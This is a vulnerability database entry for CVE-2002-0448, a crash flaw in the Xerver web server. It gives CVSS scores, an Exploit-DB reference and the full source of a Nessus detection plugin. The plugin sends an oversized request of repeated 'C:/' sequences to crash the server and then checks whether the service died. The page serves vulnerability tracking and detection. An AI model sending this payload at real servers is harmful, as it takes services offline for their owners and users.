Vulnerabilities > CVE-2002-0448 - Request Denial Of Service vulnerability in Xerver

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
xerver
nessus
exploit available
NVD
Published: 2002-07-26
Updated: 2008-09-05

Summary

Xerver Free Web Server 2.10 and earlier allows remote attackers to cause a denial of service (crash) via an HTTP request that contains many "C:/" sequences.

Vulnerable Configurations

Part Description Count
Application
Xerver
1

Exploit-Db

descriptionXerver 2.10 Multiple Request Denial Of Service Vulnerability. CVE-2002-0448. Dos exploit for windows platform
idEDB-ID:21336
last seen2016-02-02
modified2002-03-08
published2002-03-08
reporterAlex Hernandez
sourcehttps://www.exploit-db.com/download/21336/
titleXerver 2.10 - Multiple Request Denial of Service Vulnerability

Nessus

NASL familyWeb Servers
NASL idXERVER_DOS.NASL
descriptionIt is possible to crash the Xerver web server by sending a long URL to its administration port.
last seen2020-06-01
modified2020-06-02
plugin id11015
published2002-06-07
reporterThis script is Copyright (C) 2002-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/11015
titleXerver Web Server < 2.20 Crafted C:/ Request Remote DoS
code
#
# (C) Tenable Network Security, Inc.
#

# Script audit and contributions from Carmichael Security
#      Erik Anderson <[email protected]> (nb: domain no longer exists)
#      Added BugtraqID and CAN
#
# From Bugtraq :
# Date: Fri, 8 Mar 2002 18:39:39 -0500 ?
# From:"Alex Hernandez" <[email protected]> 


include("compat.inc");


if(description)
{
 script_id(11015);
 script_version("1.25");

 script_cve_id("CVE-2002-0448");
 script_bugtraq_id(4254);

 script_name(english:"Xerver Web Server < 2.20 Crafted C:/ Request Remote DoS");
 
 script_set_attribute(
  attribute:"synopsis",
  value:"The remote web server is prone to a denial of service attack."
 );
 script_set_attribute(attribute:"description", value:
"It is possible to crash the Xerver web server by sending a long URL
to its administration port." );
 script_set_attribute(
  attribute:"see_also", 
  value:"https://seclists.org/bugtraq/2002/Mar/156"
 );
 script_set_attribute(
  attribute:"see_also", 
  value:"https://seclists.org/bugtraq/2002/Mar/218"
 );
 script_set_attribute(
  attribute:"solution", 
  value:"Upgrade to Xerver 2.20 or later."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2002/06/07");
 script_set_attribute(attribute:"vuln_publication_date", value: "2002/03/08");
 script_cvs_date("Date: 2018/11/15 20:50:26");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_summary(english:"Xerver DoS");
 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");
 script_dependencies("http_version.nasl");
 script_require_ports("Services/www", 32123);
 exit(0);
}

#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:32123, embedded: 0);

soc = open_sock_tcp(port);
if (!soc) exit(1);
s = strcat('GET /', crap(data:"C:/", length:1500000), '\r\n\r\n');
send(socket:soc, data:s);
close(soc);

if (service_is_dead(port: port) > 0)
  security_warning(port);

References